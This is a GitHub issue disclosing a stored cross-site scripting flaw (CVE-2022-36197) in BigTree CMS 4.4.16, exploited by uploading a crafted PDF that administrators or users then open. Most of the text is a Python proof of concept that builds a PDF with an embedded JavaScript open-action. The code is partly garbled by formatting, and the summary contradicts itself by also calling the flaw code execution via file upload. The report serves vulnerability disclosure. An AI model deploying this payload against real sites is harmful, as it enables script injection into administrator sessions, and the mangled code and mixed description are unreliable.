Headline
CVE-2022-36197: A stored cross-site scripting (XSS) vulnerability exists in BigTree CMS 4.4.16 · Issue #392 · bigtreecms/BigTree-CMS
BigTree CMS 4.4.16 was discovered to contain an arbitrary file upload vulnerability which allows attackers to execute arbitrary code via a crafted PDF file.
A stored cross-site scripting (XSS) vulnerability exists in BigTree-CMS 4.4.16 that allows an authenticated user authorized to upload a malicious .pdf file which acts as a stored XSS payload. If this stored XSS payload is triggered by an administrator it will trigger a XSS attack.
Login as admin and access the files upload page:
Use the following PoC to generate malicious files:
import sys
from pdfrw import PdfWriter from pdfrw.objects.pdfname import PdfName from pdfrw.objects.pdfstring import PdfString from pdfrw.objects.pdfdict import PdfDict from pdfrw.objects.pdfarray import PdfArray
def make_js_action(js): action = PdfDict() action.S = PdfName.JavaScript action.JS = js return action
def make_field(name, x, y, width, height, r, g, b, value=""): annot = PdfDict() annot.Type = PdfName.Annot annot.Subtype = PdfName.Widget annot.FT = PdfName.Tx annot.Ff = 2 annot.Rect = PdfArray([x, y, x + width, y + height]) annot.MaxLen = 160 annot.T = PdfString.encode(name) annot.V = PdfString.encode(value)
\# Default appearance stream: can be arbitrary PDF XObject or
\# something. Very general.
annot.AP \= PdfDict()
ap \= annot.AP.N \= PdfDict()
ap.Type \= PdfName.XObject
ap.Subtype \= PdfName.Form
ap.FormType \= 1
ap.BBox \= PdfArray(\[0, 0, width, height\])
ap.Matrix \= PdfArray(\[1.0, 0.0, 0.0, 1.0, 0.0, 0.0\])
ap.stream \= """
%f %f %f rg 0.0 0.0 %f %f re f “"” % (r, g, b, width, height)
\# It took me a while to figure this out. See PDF spec:
\# https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf\_reference\_1-7.pdf#page=641
\# Basically, the appearance stream we just specified doesn't
\# follow the field rect if it gets changed in JS (at least not in
\# Chrome).
\# But this simple MK field here, with border/color
\# characteristics, \_does\_ follow those movements and resizes, so
\# we can get moving colored rectangles this way.
annot.MK \= PdfDict()
annot.MK.BG \= PdfArray(\[r, g, b\])
return annot
def make_page(fields, script): page = PdfDict() page.Type = PdfName.Page
page.Resources \= PdfDict()
page.Resources.Font \= PdfDict()
page.Resources.Font.F1 \= PdfDict()
page.Resources.Font.F1.Type \= PdfName.Font
page.Resources.Font.F1.Subtype \= PdfName.Type1
page.Resources.Font.F1.BaseFont \= PdfName.Helvetica
page.MediaBox \= PdfArray(\[0, 0, 612, 792\])
page.Contents \= PdfDict()
page.Contents.stream \= """
BT /F1 24 Tf ET “"”
annots \= fields
page.AA \= PdfDict()
\# You probably should just wrap each JS action with a try/catch,
\# because Chrome does no error reporting or even logging otherwise;
\# you just get a silent failure.
page.AA.O \= make\_js\_action("""
try { %s } catch (e) { app.alert(e.message); } “"” % (script))
page.Annots \= PdfArray(annots)
return page
if len(sys.argv) > 1: js_file = open(sys.argv[1], ‘r’)
fields \= \[\]
for line in js\_file:
if not line.startswith('/// '): break
pieces \= line.split()
params \= \[pieces\[1\]\] + \[float(token) for token in pieces\[2:\]\]
fields.append(make\_field(\*params))
js\_file.seek(0)
out \= PdfWriter()
out.addpage(make\_page(fields, js\_file.read()))
out.write('result.pdf')
Back to Files then we can see result.pdf have been upload:
When the administrator click the result.pdf it will trigger a XSS attack. In addition, after switching to a normal user, the normal user still have permission to access/site/index.php/admin/files/result.pdf and trigger a XSS attack.